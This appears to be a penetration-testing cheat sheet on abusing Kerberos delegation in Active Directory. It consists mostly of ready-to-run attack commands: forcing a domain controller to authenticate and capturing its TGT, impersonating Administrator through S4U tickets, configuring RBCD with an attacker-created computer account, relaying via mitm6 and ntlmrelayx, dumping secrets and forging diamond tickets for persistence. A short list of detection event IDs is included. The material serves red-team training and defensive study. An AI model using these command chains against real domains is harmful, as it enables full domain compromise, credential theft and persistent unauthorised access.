Delegation
Sections Delegation
Kerberos delegation lets one principal act on behalf of another. Three flavors, each with its own attack:
- Unconstrained: act as anyone, anywhere. Most dangerous, less common today.
- Constrained: act as anyone, but only to specific services.
- RBCD (Resource-Based Constrained Delegation): the cleanest path. The TARGET resource defines who can delegate to it.
DC=10.10.11.50
DOMAIN=corp.local
USER='svc_user'
PASS='Password1'
i. Find delegation surfaces
BloodHound has dedicated queries: “Find Unconstrained Delegation Computers”, “Find Computers with Constrained Delegation”, “Find Computers with RBCD”.
nxc shortcut:
nxc ldap $DC -u $USER -p $PASS --trusted-for-delegation ## unconstrained accounts
nxc ldap $DC -u $USER -p $PASS --find-delegation ## all delegation types in one view
bloodyAD by UAC flag / attribute:
## Unconstrained (TRUSTED_FOR_DELEGATION flag = 524288)
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get search \
--filter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' \
--attr samaccountname,dNSHostName
## Constrained (msDS-AllowedToDelegateTo is set)
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get search \
--filter '(msDS-AllowedToDelegateTo=*)' \
--attr samaccountname,msDS-AllowedToDelegateTo
## RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity is set)
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get search \
--filter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' \
--attr samaccountname
ii. Unconstrained Delegation
A computer with this flag can receive a copy of any user’s TGT when they auth to it. Coerce a privileged user (or DC$) to authenticate, capture their TGT, use it.
Step 1: Compromise the unconstrained host
You need code execution as SYSTEM (or as the computer account) on the unconstrained host. Standard local privesc, see Windows MOC .
Step 2: Start the TGT capture
On the unconstrained host with Rubeus monitoring:
Rubeus.exe monitor /interval:5 /nowrap
## Or one-time dump:
Rubeus.exe dump
From Linux (if you have the machine’s NT hash):
## Get a TGT for the machine
impacket-getTGT "$DOMAIN/UNCONSTRAINED\$" -hashes :$MACHINEHASH -dc-ip $DC
## Then use krbrelayx-style with the machine account
krbrelayx.py -aesKey $AESKEY --target ldaps://$DC --escalate-user attacker
Step 3: Coerce a privileged user/computer to authenticate
Best target is the DC computer account, gives you a TGT for DC$ which has DCSync rights:
## On attacker, set up listener (Rubeus already monitoring on victim)
## Coerce DC to authenticate to your unconstrained host:
impacket-petitpotam -d $DOMAIN -u $USER -p $PASS unconstrained.$DOMAIN $DC
## or
coercer coerce -l unconstrained.$DOMAIN -t $DC -u $USER -p $PASS -d $DOMAIN
Step 4: Decode the captured TGT
Rubeus dumps tickets as base64. Convert and use:
echo 'TICKET_B64' | base64 -d > dc.kirbi
impacket-ticketConverter dc.kirbi dc.ccache
export KRB5CCNAME=$(pwd)/dc.ccache
## Now you're DC$, DCSync:
impacket-secretsdump -k -no-pass -just-dc -dc-ip $DC "$DOMAIN/dc\$@dc.$DOMAIN"
Because Spooler/EFS/DFS coercion lets you force the DC to authenticate to ANY host, and the unconstrained flag means you receive the DC’s TGT. Most reliable path to DA when an unconstrained host exists.
iii. Constrained Delegation
A principal X is allowed to act as anyone TO service Y (where Y is in msDS-AllowedToDelegateTo). Two flavors:
- With Protocol Transition (msDS-AllowedToDelegateTo + TrustedToAuthForDelegation flag): impersonate any user to those services.
- Without Protocol Transition: X needs an existing TGS from the impersonated user, harder to abuse.
Find the targets
nxc ldap $DC -u $USER -p $PASS --find-delegation
## or:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get search \
--filter '(msDS-AllowedToDelegateTo=*)' \
--attr samaccountname,msDS-AllowedToDelegateTo,userAccountControl
Compromise the delegating account
You need the account’s password, NT hash, or AES key.
Use S4U2self + S4U2proxy to impersonate Administrator
impacket-getST -spn 'cifs/target.corp.local' -impersonate Administrator \
"$DOMAIN/delegating_user:$PASSWORD" -dc-ip $DC
## With hash:
impacket-getST -spn 'cifs/target.corp.local' -impersonate Administrator \
-hashes ":$NTHASH" "$DOMAIN/delegating_user" -dc-ip $DC
## Use the ticket:
export KRB5CCNAME=Administrator@cifs_target.corp.local@CORP.LOCAL.ccache
impacket-psexec -k -no-pass target.corp.local
The -spn flag value must match exactly what’s in msDS-AllowedToDelegateTo. If it’s cifs/target.corp.local, you can’t use host/target.corp.local. Read the attribute first.
Cross-protocol S4U bonus
You’re “constrained” to cifs/target, but S4U2self gives you a forwardable TGS to target AS Administrator. Once you have that TGT-as-Administrator, you can request other services as Administrator (so-called “cross-protocol”):
## After getST, you have Administrator's TGS for cifs/target
## Request HTTP/target with the same ticket:
impacket-getST -altservice 'http/target.corp.local' -k -no-pass \
-dc-ip $DC "$DOMAIN/Administrator"
iv. RBCD (Resource-Based Constrained Delegation)
The most common modern delegation attack. Target computer’s attribute msDS-AllowedToActOnBehalfOfOtherIdentity lists principals allowed to delegate TO it. If you can write that attribute, you’re game.
When you can use RBCD
Any of these is enough:
- GenericAll/GenericWrite on the target computer (most common)
- Write to
msDS-AllowedToActOnBehalfOfOtherIdentityspecifically - You ARE the target computer’s owner (Owns edge)
Step 1: Get a computer account you control
Default ms-DS-MachineAccountQuota is 10. Any domain user can add up to 10 computers:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add computer attackerpc 'AttackerP@ss!'
## Output: attackerpc$, password AttackerP@ss!
When MAQ is 0 (some hardened domains), you need:
- An existing computer account you control (cracked, dumped, or coerced)
- Or a user that has SPNs set, treated like a computer for delegation purposes
Check MAQ:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get object "DC=corp,DC=local" --attr ms-DS-MachineAccountQuota
Step 2: Add RBCD on the target
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add rbcd 'victim$' 'attackerpc$'
## Verify:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get object 'victim$' --attr msDS-AllowedToActOnBehalfOfOtherIdentity
Step 3: Request a service ticket as Administrator
S4U2self + S4U2proxy using your controlled computer’s credentials:
impacket-getST -spn 'cifs/victim.corp.local' -impersonate Administrator \
"$DOMAIN/attackerpc\$:AttackerP@ss!" -dc-ip $DC
Step 4: Use the ticket
export KRB5CCNAME=Administrator@cifs_victim.corp.local@CORP.LOCAL.ccache
impacket-psexec -k -no-pass victim.corp.local
impacket-wmiexec -k -no-pass victim.corp.local
impacket-secretsdump -k -no-pass victim.corp.local
Step 5: Cleanup
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC remove rbcd 'victim$' 'attackerpc$'
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC remove object 'attackerpc$'
v. RBCD from a relay attack
Common chain: mitm6 + ntlmrelayx -> create new computer + set RBCD on victim. See LLMNR & NTLM Relay section vi for the full chain. The relay does sections 1 + 2 of the RBCD attack in one shot.
## Terminal 1: mitm6 spoof IPv6 DNS
sudo mitm6 -i eth0 -d $DOMAIN
## Terminal 2: relay LDAPS, ask for new computer + RBCD on the source
sudo impacket-ntlmrelayx -6 -t ldaps://$DC -wh fakewpad.$DOMAIN --delegate-access
## Wait for victim authentication
## ntlmrelayx will:
## 1. Add a new computer (random name) with a password it generates
## 2. Set RBCD on the victim machine
## 3. Print the new computer's credentials
## Then run section 3+4 with those credentials
vi. S4U2self abuse (TGT->TGS without delegation)
Even without delegation configured, any account with SPNs (like all computer accounts) can request a TGS for itself as ANY user via S4U2self. The TGS is “non-forwardable” by default, but is still useful for some attacks.
Rubeus on Windows:
Rubeus.exe tgtdeleg
Rubeus.exe s4u /user:targetcomputer$ /rc4:$NTHASH /impersonateuser:Administrator /msdsspn:cifs/target.corp.local
vii. Diamond ticket: post-DA persistence
After you reach Domain Admin, forge a “diamond” ticket that has any group SIDs you want and bypasses some PAC validation:
## Get krbtgt hash via DCSync first (see [DCSync](https://jinpwn.dev/cheatsheets/active-directory/ad12-dcsync/))
impacket-ticketer -aesKey $KRBTGT_AES -domain $DOMAIN -domain-sid $DOMAIN_SID -spn cifs/target.corp.local -user Administrator
Difference vs Golden Ticket: Diamond reuses an existing legitimate TGT and modifies it instead of forging from scratch, harder to detect.
viii. Detection notes
- Unconstrained TGT capture: Event 4624 Logon Type 3 with NETWORK on the unconstrained host plus Event 4769 (TGS request) on the DC.
- RBCD modification: Event 5136 (directory service object modified) on
msDS-AllowedToActOnBehalfOfOtherIdentity. Tied to your auth, traceable. - New computer account creation: Event 4741 on the DC.
- S4U2self/S4U2proxy: Event 4769 with specific TGS service ID. Detectable by anomaly detection (impersonating Administrator is rare).
On real engagements, these are all noisy. On HTB/labs, fire freely.
ix. Decision tree
- Target is unconstrained-flagged computer? -> compromise it, coerce DC -> capture TGT -> DCSync
- You have GenericAll/Write on a computer? -> RBCD with new computer account (section iv)
- You have a constrained-delegation account’s creds? -> S4U2self+proxy to target service (section iii)
- You have GenericAll on a user with SPNs? -> RBCD-like attack treating the user as the delegator
- Nothing works? -> coerce DC into NTLM relay chain (see LLMNR & NTLM Relay )